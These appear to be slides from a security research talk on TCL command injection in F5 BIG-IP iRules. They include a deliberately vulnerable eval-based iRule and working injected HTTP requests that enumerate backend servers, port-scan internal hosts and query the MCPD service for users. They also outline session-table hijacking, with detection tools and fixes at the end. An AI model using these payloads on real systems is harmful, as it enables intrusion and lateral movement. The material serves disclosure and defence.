

COMMAND INJECTION IN IRULES LOADBALANCER SCRIPTS

A story about how TCL interpretation works in F5 iRules
and how it can be detected or exploited



WHO AM I AND THANKS

Big thanks to my fellow researchers

- Jesper Blomström
- Pasi Saarinen
- William Söderberg
- Olle Segerdahl

Twitter @kuggofficial



Big thanks to David and Aaron at F5 SIRT for a good response

<https://support.f5.com/csp/article/K15650046>

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
Coaching & exercises

CYBER INTELLIGENCE

Intelligence services


Intelligence platform

LOAD BALANCERS




THE F5 PRODUCTS I WILL TALK ABOUT


- Can store and handle multiple sessions for backend servers
- Customers write their own iRules to define the load balancer behaviour
- <https://devcentral.f5.com> is used as a "stackoverflow for iRules"
- Application fluency for all major protocols.
- Highly programmable through iRules, iRules LX and Traffic Policies
- Deployable as software and hardware
- Scalable to Tb/s of performance and highly available for both data and control plane
- WAF functionality



CACHING IRULE EXAMPLE



FORWARDING EXAMPLE



```
proc Dos2Unix {f} {
    puts $f
    if {[file isdirectory $f]} {
        foreach g [glob [file join $f *]] {
            Dos2Unix $g
        }
    } else {
        set in [open $f]
        set out [open $f.new w]
        fconfigure $out -translation lf
        puts -nonewline $out [read $in]
        close $out
        close $in
        file rename -force $f.new $f
    }
}

# Process each command-line argument

foreach f $argv {
    Dos2Unix $f
}
```

THE IRULE LANGUAGE

- A fork of TCL 8.4
 - New features in TCL >8.4 are not introduced in iRule
 - iRule has introduced a group of simplifications and exceptions to TCL
 - Return oriented programming (with *optional* exception handling)

TCL/iRULE BASICS

- iRules determine where a given HTTP request is forwarded to, based on a programmed logic
 - The HTTP request header and body is parsed by the F5 iRule engine
 - The system administrator writes F5 iRule code to handle requests
- Example "catch-all" redirect iRule:

```
when HTTP_REQUEST {  
    HTTP::redirect "/helloworld.html"  
}
```




HOW TO SPOT THESE LOAD BALANCERS IN THE WILD

HTTP header include

- Server: BigIP
 - Found in redirects
 - Found in favicon.ico responses

```
HTTP/1.0 302 Found
Location: /helloworld.html
Server: BigIP
Connection: close
Content-Type: Text/html
Content-Length: 0
```



TCL SUPPORTS ARGUMENT SUBSTITUTION



COMMAND ARGUMENTS

- An argument is evaluated by breaking down words and substituting its meaning depending on the string enclosure

```
1.  command "$arg1" "$arg2"      # Quoted arguments
2.  command [$arg1] [$arg2]      # Bracketed arguments
3.  command {$arg1} {$arg2}     # Braced arguments
4.  command $arg1 $arg2         # Unquoted arguments
```

QUOTED EVALUATION AND COMMAND SUBSTITUTION

Inside double quotes (""): "Command substitution, variable substitution, and backslash substitution are performed on the characters between the quotes ..."

Inside brackets []: "If a word contains an open bracket ("[") then TCL performs command substitution."

- Like backticks ` in /bin/sh

THIS IS A COMMAND INJECTION

Bart: Is Al there?

Moe: Al?

Bart: Yeah, Al. Last name Caholic?

Moe: Hold on, I'll check. Phone call for Al... Al Caholic. Is there an Al Caholic here?

(The guys in the pub cheer.)

ARGS AND BODY UNQUOTED COMMAND SUBSTITUTION

The body part of command invocation is a list of commands to execute if a condition is met

```
command ?arg? ?body?  
1. after 1 $body  
2. while 1 $body  
3. if 1 $body  
4. switch 1 1 $body
```

In these cases the value of \$body will be command substituted regardless of quote unless braces are used

PRIOR ART: COMMAND INJECTION IN TCL 8.4

TCL will expand the value of a command before assignment if it is put inside quotes

<https://wiki.tcl-lang.org/page/Injection+Attack>

```
set variable {This is a string}
catch "puts $variable"
```

When double quotes are used, TCL will substitute the content of the variables and commands

Try:

```
set variable {[error PWNED!]}
```

When the contents of `$variable` is substituted by TCL it will be passed as `[error PWNED!]` to `catch` and executed. This is called double substitution

BREAKING DOWN EXECUTION

1. The word `catch` is resolved as a command with a **?body?** argument
2. Arguments are evaluated by the TCL interpreter according to the dodecalogue, including expansion of `[]` `" "` `{ }`
3. Any code within arguments starting with `[` will be executed by `catch`

```
catch "puts $variable"
```

```
catch puts [error PWNED!]
```

```
error PWNED!
```

LIST OF BUILT-IN COMMANDS THAT CAN PERFORM COMMAND EVALUATION

- after
- catch
- eval
- expr
- for
- foreach
- history
- if
- proc
- cpu
- string match
- interp
- namespace eval
- namespace inscope
- source
- switch
- subst
- time
- try
- uplevel
- while
- trace
- list

DIRECT EVALUATION: EVAL, SUBST OR EXPR

eval, a built-in Tcl command, interprets its arguments as a script, which it then evaluates.

```
eval arg ?arg ...?
```


subst - Perform backslash, command, and variable substitutions.

```
subst ?-  
nobackslashes? ?-  
nocommands? ?-  
novariables?  
String
```

expr, a built-in Tcl command, interprets its arguments as a mathematical expression, which it then evaluates.

```
expr arg ?arg  
...?
```

IRULE BASED ON HSSR



```
when HTTP_REQUEST {
  if {[HTTP::uri] starts_with "/index.html"} {
    set lang [HTTP::header {Accept-Language}]
    set uri http://$lang.cdn.example.com/index.html
    set status [call /Common/HSSR::http_req -uri $uri]
  }
}
```

HOW HSSR USES OUR \$URI

```
if {$dest eq ""} {
  if {$ipv6} {
    set raddr $haddr
  } elseif {[catch {IP::addr $host mask 255.255.255.255}] } {
    set raddr [eval format "::ffff:%02x%02x:%02x%02x" [split $host "."]]
  } else {
    if {!( ([set tmp [lindex [eval "RESOLV::lookup ${nsvr} inet -a ${host}"] 0]] ne "") &&
      ([set raddr [eval format "::ffff:%02x%02x:%02x%02x" [split $tmp "."]]] ne ""))
      ) &&
      ([set raddr [lindex [eval "RESOLV::lookup ${nsvr} inet6 -aaaa ${host}"] 0]] eq "") &&
      ($virt eq "")) {
      set e "cannot resolve ${host} to IP address"
      set rtry -2
      break
    }
  }
}
```



EXPLOITATION

1. Identify an input field that is command substituted in iRule
 - Input Tcl strings in fields and header names
 - Look for indications that the code was executed
2. Test injection location using the info command
3. Identify external resources to pivot to permanent access

DEMO TIME





TAKING IT FURTHER

How do we get persistent access?

GAINING PERMANENT ACCESS USING "TABLE"

- A session table is a distributed and replicated key value store
- Commonly used to store cookie values
 - Notably used to avoid paying for the APM module
- Magically synchronized between instances using load balancing
 - Can be used to pivot access on multiple instances

HACKING THE SESSION TABLE

- With command injection it's possible to overwrite any table value
 - `table set`
 - `table lookup`
 - `table add`
 - `table replace`
- Overwriting another (or all) user session enable specifically executing code for a target user
 - Possible to sniff all http(s) traffic for any authenticated user

TABLE DEMO: HOSTED MITM

A LOOK AT THE CODE IN THE BIG-IP EDITOR

```
1 when HTTP_REQUEST {
2     if {[HTTP::uri] starts_with "/dns"} {
3         # This is a cached reverse lookup service
4         if {[string tolower [HTTP::query]] contains "host"} {
5             set query [URI::decode [HTTP::query]]
6         } else {
7             HTTP::respond 200 -content "Set the host GET parameter"
8             return
9         }
10        log local0. "http_query [HTTP::query]"
11        set host [string trimleft $query "host="]
12
13        set nsrv "@192.168.228.1"
14        foreach cachedhost [table keys -subtable "cache"] {
15            if {$host eq $cachedhost} {
16                log local0. "query cached for $host"
17                HTTP::respond 200 -content [eval [table lookup -subtable "cache" $host]]
18                return
19            }
20        }
21        set ip [eval "RESOLV::lookup ${nsrv} inet -a ${host}"]
22        table set -subtable "cache" $host $ip 180
23        HTTP::respond 200 -content $ip
24        return
25    }
26 }
```

POST EXPLOITATION POSSIBILITIES

- Scan internal network
- Scan localhost
- Attack internal resources using the BIG-IP F5 as a pivot

PAYLOAD 1

Exposing the pool (backend) servers

```
active_nodes -list [LB::server pool]
```

Request

Raw Params Headers Hex

GET

```
/dns?host=qw%3bTCP%3a%3arespond+[active_nodes+-list+[LB%3a%3aserver+pool]]
```

HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134

Accept-Language: en-GB

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Host: 192.168.200.200

Cookie: JSESSIONID=aaa

Connection: close

Response

Raw Headers Hex

192.168.200.5HTTP/1.0 200 OK

Server: BigIP

Connection: close

Content-Length: 0

PORTSCAN THE POOL SERVERS

```
foreach p {21 80 135 389 443 445}{catch {set c [connect  
192.168.200.5:$p];append r $p "\topen\n";close $c}};TCP::respond $r
```

Request

Raw Params Headers Hex

GET

/dns?host=qw%3bforeach+p+{21+22+23+25+80+135+389+443+445}{catch+{set+c+[
connect+192.168.200.5%3a\$p]%3bappend+r+\$p+"\topen\n"%3bclose+\$c}}%3bTCP
%3a%3arespond+\$r HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134

Accept-Language: en-GB

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Host: 192.168.200.200

Cookie: JSESSIONID=aaa

Connection: close

Response

Raw Headers Hex

21 open

80 open

135 open

445 open


HTTP/1.0 200 OK

Server: BigIP

Connection: close

Content-Length: 0

ATTACK CHAIN



PAYLOAD 2

PORTSCAN LOCALHOST

Request		Response	
Raw	Params Headers Hex	Raw	Headers Hex
GET		22 open	
/dns?host=ABC%3bforeach+p+{21+22+23+25+80+135+389+443+445+6666+8100}{c		80 open	
atch+{set+c+[connect+127.0.0.1%3a\$p]%3bappend+r+\$p+"\topen\n"%3bclose+\$c}}		443 open	
%3bTCP%3a%3arespond+\$r		6666 open	
HTTP/1.1		8100 open	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36		HTTP/1.0 200 OK	
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134		Server: BigIP	
Accept-Language: en-GB		Connection: close	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8		Content-Length: 0	
Upgrade-Insecure-Requests: 1			
Accept-Encoding: gzip, deflate			
Host: 192.168.200.200			
Cookie: JSESSIONID=aaa			
Connection: close			

MCPD EXPLANATION

%00%00%00%16 SIZE

%00%00%00%3f SEQUENCE

%00%00%00%00 REQUEST-ID

%00%00%00%02 FLAG

%0b%65 KEY (Query All)

%00%0d TYPE

%00%00%00%0c ATTRIBUTE SIZE

%21%e0 ATTRIBUTE NAME (System Module)

%00%0d%00%00%00%02%00%00%00%00 (Attribute data)

%00%00 END OF MESSAGE

LIST USERS AND PRIVILEGES

Request

Raw Params Headers Hex

```

GET
/dns?host=jdddjf%3bset+c+[connect+127.0.0.1%3a6666]%3bend+$c+{%00%00%00%16%00%00%00%3f%00%00%00%00%00%00%02%0b%65%00%0d%00%00%00%0c%10%00%00%0d%00%00%00%02%00%00%00%00%00%00%00%3brecv+timeout+10000+$c+d%3bTCP%3a%3arespond+$d HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Accept-Language: en-GB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Host: 192.168.200.200
Cookie: JSESSIONID=aaa
Connection: close
        
```

Response

Raw Headers Hex

Offset	Hex	ASCII
0	00 00 01 60 00 00 00 00 00 00 00 00 00 00 02	□`□
1	0b 68 00 0d 00 00 01 58 10 00 00 0d 00 00 4b	□h□X□K
2	10 02 00 0f 00 00 00 07 00 05 61 64 6d 69 50	□□□□□adminP
3	04 00 05 00 00 00 00 24 d2 00 05 00 00 00 24	□□\$□□\$
4	d1 00 0f 00 00 00 02 00 00 10 2f 00 0f 00 00	Ñ□□□/□
5	08 00 06 43 6f 6d 6d 6f 6e 10 03 00 05 00 00	□□Common□□□
6	01 10 01 00 05 00 00 25 fe 00 00 10 00 00 0d	□□□□%b□
7	00 00 56 10 02 00 0f 00 00 00 12 00 10 66 35	V□□□□□f5h
8	75 62 62 6c 65 6c 63 64 61 64 6d 69 6e 50 04	ubblelcdadminP□
9	05 00 00 00 00 02 24 d2 00 05 00 00 00 00 24	□\$□□\$Ñ
a	0f 00 00 00 00 02 00 10 2f 00 0f 00 00 00 08	□□□/□□
b	06 43 6f 6d 6d 6f 6e 10 03 00 05 00 00 00 01	□Common□□□□□
c	01 00 05 00 00 26 01 00 00 10 00 00 0d 00 00	□□&□□
d	4a 10 02 00 0f 00 00 00 06 00 04 75 73 65 72	J□□□□□userP
e	04 00 05 00 00 00 01 24 d2 00 05 00 00 00 24	□□□\$□□\$
f	d1 00 0f 00 00 00 02 00 00 10 2f 00 0f 00 00	Ñ□□□/□
10	08 00 06 43 6f 6d 6d 6f 6e 10 03 00 05 00 00	□□Common□□□
11	01 10 01 00 05 00 00 3c 60 00 00 10 00 00 0d	□□□□<`□
12	00 00 4b 10 02 00 0f 00 00 00 07 00 05 77 69	K□□□□□wil
13	6c 79 50 04 00 05 00 00 00 01 24 d2 00 05 00	lyP□□□\$□□
14	00 00 24 d1 00 0f 00 00 00 02 00 00 10 2f 00	\$Ñ□□□□/□
15	00 00 00 08 00 06 43 6f 6d 6d 6f 6e 10 03 00	□□Common□□□
16	00 00 00 01 10 01 00 05 00 00 3c 62 00 00 00	□□□□<b
17	48 54 54 50 2f 31 2e 30 20 32 30 30 20 4f 4b	HTTP/1.0 200 OK
18	0a 53 65 72 76 65 72 3a 20 42 69 67 49 50 0d	Server: BigIP
19	43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f	Connection: clos
1a	65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67	eContent-Lengt
1b	68 3a 20 30 0d 0a 0d 0a -- -- -- -- -- -- --	h: 0

LIST LOCAL TMSH SHELL COMMANDS (BEYOND IRULE)

Request

Raw Params Headers Hex

```
GET
/dns?host=jdjff%3bset+c+[connect+127.0.0.1%3a6666]%3bset+c+{%00%00%00%16%00%00%00%3f%00%00%00%00%00%00%00%02%0b%65%00%0d%00%00%00%0c%1b%51%00%0d%00%00%00%02%00%00%00%00%00%00%3brecv+ti
meout+10000+$c+d%3bTCP%3a%3arespond+$d HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Accept-Language: en-GB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Host: 192.168.200.200
Cookie: JSESSIONID=aaa
Connection: close
```

Response

Raw Hex

```
set log_level [tmsh::get_field_value $scriptd_details "log-level"]

# set the log level
tmsh::log_level $log_level
}

proc get_items { args } {
  package require iapp::legacy 1.0.0
  return [eval iapp::legacy::app_utils::get_items $args]
}

proc get_items_local_only { args } {
  package require iapp::legacy 1.0.0
  return [eval iapp::legacy::app_utils::get_items_local_only $args]
}

proc get_items_not_recursive { args } {
  package require iapp::legacy 1.0.0
  return [eval iapp::legacy::app_utils::get_items_not_recursive $args]
}

proc get_items_local_only_not_recursive { args } {
  package require iapp::legacy 1.0.0
  return [eval iapp::legacy::app_utils::get_items_local_only_not_recursive $args]
}
```

ATTACK CHAIN

1. iRule injection access
2. Query MCPD
3. Mcpd response
4. Execute MCPD tmsh command with Tcl injection
5. ...
6. Local privileges

DETECTION



SCANNING FOR COMMAND INJECTION WITH TCLSCAN

- Automated tool to find quoted and unquoted arguments
- It's unmaintained Rust so I had to fix it
- Finds 80% of known injection vulnerabilities
- Get the code:
<https://github.com/kugg/tclscan>

AUTOMATED TESTING USING IRULEDETECTOR.PY

- Automated iRule injection detector scanner for Burp Suite
- The tool will substitute every available input field with a Tcl injection and measure the result
- Download iruledetector.py in the bapp-store

22	22:38:56 22 Mar 2019	Issue found	i BigIP server header detected	http://192.168.200.200	/respond		Information	Certain
23	22:39:15 22 Mar 2019	Issue found	❗ BIG-IP F5 command injection.	http://192.168.200.200	/test/index.asp	JSESSIONID cookie	High	Certain
24	22:39:15 22 Mar 2019	Issue found	❗ BIG-IP F5 command injection.	http://192.168.200.200	/test/index.asp	JSESSIONID cookie	High	Certain
25	14:20:29 16 Jul 2019	Issue found	i BigIP server header detected	http://192.168.200.200	/index.html		Information	Certain

UNIT TESTING IRULE CODE USING TESTCL

- Get the code:
<https://github.com/landro/testcl>
- Unit testing framework for iRule code
- Community driven, lacks complex support
 - I added cookie support
- Good for unit testing code and finding logical vulnerabilities

SUMMARY

- Tcl is an old and loosely defined language
 - Easy to fool
 - Hard to get variable assignment and substitution right
- Avoid the use of eval, subst and expr
- Take care to use {bracing} of **?body?** arguments.
- Use iruledetector.py in burp to find vulnerabilities
- Use tclscan to review code
- Use testcl to test your iRule logic
- Do manual third party code reviews

THANK YOU

ATTACK CHAIN

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